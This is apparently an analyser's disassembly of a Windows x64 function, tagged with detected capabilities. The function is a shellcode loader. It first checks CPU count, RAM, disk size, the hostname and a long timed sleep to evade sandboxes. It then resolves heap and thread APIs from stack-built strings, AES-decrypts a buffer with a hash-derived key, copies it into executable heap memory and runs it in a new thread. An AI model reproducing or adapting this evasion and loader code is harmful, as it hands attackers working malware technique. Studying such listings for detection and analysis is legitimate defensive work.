Function at 0x22bb8139a
Capabilities:
Check for time delay via gettickcount
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Get hostname
Get memory capacity
Get system information on windows
Hash data via wincrypt
Initialize hashing via wincrypt
Link many functions at runtime

Disassembly:
push rbp
sub rsp, 0x210
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0xd0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call rax
mov eax, dword [rbp + 0xf0]
mov dword [rbp + 0x18c], eax
cmp dword [rbp + 0x18c], 3
ja 0x22bb813dc
mov eax, 0
jmp 0x22bb81a3d
mov dword [rbp + 0x90], 0x40
lea rax, [rbp + 0x90]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
call rax
mov rax, qword [rbp + 0x98]
shr rax, 0x14
mov dword [rbp + 0x188], eax
cmp dword [rbp + 0x188], 0xf9f
ja 0x22bb81420
mov eax, 0
jmp 0x22bb81a3d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 3
mov edx, 0
lea rax, str..PhysicalDrive0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileW]
call rax
mov qword [rbp + 0x180], rax
mov rax, qword [rbp + 0x180]
mov qword [rsp + 0x38], 0
lea rdx, [rbp + 0x6c]
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x28], 0x18
lea rdx, [rbp + 0x70]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
mov edx, 0x70000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeviceIoControl]
call rax
mov rax, qword [rbp + 0x70]
mov edx, dword [rbp + 0x7c]
mov edx, edx
imul rax, rdx
mov edx, dword [rbp + 0x80]
mov edx, edx
imul rax, rdx
mov edx, dword [rbp + 0x84]
mov edx, edx
imul rax, rdx
lea rdx, [rax + 0x3fffffff]
test rax, rax
cmovs rax, rdx
sar rax, 0x1e
mov dword [rbp + 0x17c], eax
cmp dword [rbp + 0x17c], 0x31
ja 0x22bb814fb
mov eax, 0
jmp 0x22bb81a3d
mov dword [rbp + 0x68], 0x10
lea rdx, [rbp + 0x68]
lea rax, [rbp + 0x40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetComputerNameW]
call rax
lea rax, [rbp + 0x40]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_CharUpperW]
call rax
lea rax, [rbp + 0x40]
lea rdx, str.DESKTOP_
mov rcx, rax
call sym.wcsstr
test rax, rax
setne al
test al, al
je 0x22bb8154d
mov eax, 0
jmp 0x22bb81a3d
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov eax, eax
mov qword [rbp + 0x170], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
call rax
mov rcx, rax
lea rax, str.NtDelayExecution
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x168], rax
mov qword [rbp + 0x38], 0xffffffffc4653600
mov r8, qword [rbp + 0x168]
lea rax, [rbp + 0x38]
mov rdx, rax
mov ecx, 0
call r8
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov eax, eax
mov qword [rbp + 0x160], rax
mov rax, qword [rbp + 0x160]
sub rax, qword [rbp + 0x170]
cmp rax, 0x1869f
ja 0x22bb815df
mov eax, 0
jmp 0x22bb81a3d
mov dword [rbp + 0x15c], 0
movabs rax, 0x32336c656e72656b
mov qword [rbp + 0x2b], rax
movabs rax, 0x6c6c642e32336c
mov qword [rbp + 0x30], rax
lea rax, [rbp + 0x2b]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x150], rax
movabs rax, 0x6165724370616548
mov qword [rbp + 0x20], rax
mov dword [rbp + 0x27], 0x657461
lea rdx, [rbp + 0x20]
mov rax, qword [rbp + 0x150]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x148], rax
movabs rax, 0x6f6c6c4170616548
mov qword [rbp + 0x16], rax
mov word [rbp + 0x1e], 0x63
lea rdx, [rbp + 0x16]
mov rax, qword [rbp + 0x150]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x140], rax
movabs rax, 0x4d79706f436c7452
mov qword [rbp + 8], rax
movabs rax, 0x79726f6d654d79
mov qword [rbp + 0xe], rax
lea rdx, [rbp + 8]
mov rax, qword [rbp + 0x150]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x138], rax
movabs rax, 0x6854657461657243
mov qword [rbp - 5], rax
movabs rax, 0x64616572685465
mov qword [rbp], rax
lea rdx, [rbp - 5]
mov rax, qword [rbp + 0x150]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x130], rax
movabs rax, 0x53726f4674696157
movabs rdx, 0x6a624f656c676e69
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov dword [rbp - 0x10], 0x746365
lea rdx, [rbp - 0x20]
mov rax, qword [rbp + 0x150]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x128], rax
lea rax, [rbp - 0x28]
mov dword [rsp + 0x20], 0xf0000000
mov r9d, 0x18
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
call rax
test eax, eax
sete al
test al, al
je 0x22bb81772
mov eax, 0
jmp 0x22bb81a3d
mov rax, qword [rbp - 0x28]
lea rdx, [rbp - 0x38]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
mov edx, 0x800c
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
call rax
test eax, eax
sete al
test al, al
je 0x22bb817c4
mov rax, qword [rbp - 0x28]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
call rax
mov eax, 0
jmp 0x22bb81a3d
mov rax, qword [rbp - 0x38]
lea rdx, [rbp + 0x38]
mov r9d, 0
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptHashData]
call rax
test eax, eax
sete al
test al, al
je 0x22bb8181c
mov rax, qword [rbp - 0x38]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
call rax
mov rax, qword [rbp - 0x28]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
call rax
mov eax, 0
jmp 0x22bb81a3d
mov rcx, qword [rbp - 0x38]
mov rax, qword [rbp - 0x28]
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8, rcx
mov edx, 0x6610
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
call rax
test eax, eax
sete al
test al, al
je 0x22bb8187f
mov rax, qword [rbp - 0x38]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
call rax
mov rax, qword [rbp - 0x28]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
call rax
mov eax, 0
jmp 0x22bb81a3d
mov rax, qword [rbp - 0x38]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
call rax
mov eax, dword [rbp + 0x15c]
mov dword [rbp - 0x3c], eax
mov eax, dword [rbp - 0x3c]
mov eax, eax
mov rcx, rax
call sym.malloc
mov qword [rbp + 0x120], rax
mov ecx, dword [rbp + 0x15c]
lea rdx, [rbp + 0x38]
mov rax, qword [rbp + 0x120]
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov rax, qword [rbp - 0x30]
lea rdx, [rbp - 0x3c]
mov qword [rsp + 0x28], rdx
mov rdx, qword [rbp + 0x120]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 1
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
call rax
test eax, eax
sete al
test al, al
je 0x22bb81945
mov rax, qword [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
call rax
mov rax, qword [rbp - 0x28]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
call rax
mov rax, qword [rbp + 0x120]
mov rcx, rax
call sym.free
mov eax, 0
jmp 0x22bb81a3d
mov rax, qword [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
call rax
mov rax, qword [rbp - 0x28]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
call rax
mov rax, qword [rbp + 0x148]
mov r8d, 0
mov edx, 0
mov ecx, 0x40000
call rax
mov qword [rbp + 0x118], rax
mov r9, qword [rbp + 0x140]
mov eax, dword [rbp - 0x3c]
mov edx, eax
mov rax, qword [rbp + 0x118]
mov r8, rdx
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x110], rax
mov r9, qword [rbp + 0x138]
mov eax, dword [rbp - 0x3c]
mov ecx, eax
mov rdx, qword [rbp + 0x120]
mov rax, qword [rbp + 0x110]
mov r8, rcx
mov rcx, rax
call r9
mov rax, qword [rbp + 0x130]
mov rcx, qword [rbp + 0x110]
lea rdx, [rbp - 0x40]
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rcx
mov edx, 0
mov ecx, 0
call rax
mov qword [rbp + 0x108], rax
mov r8, qword [rbp + 0x128]
mov rax, qword [rbp + 0x108]
mov edx, 0xffffffff
mov rcx, rax
call r8
mov rax, qword [rbp + 0x120]
mov rcx, rax
call sym.free
mov eax, 0
add rsp, 0x210
pop rbp
ret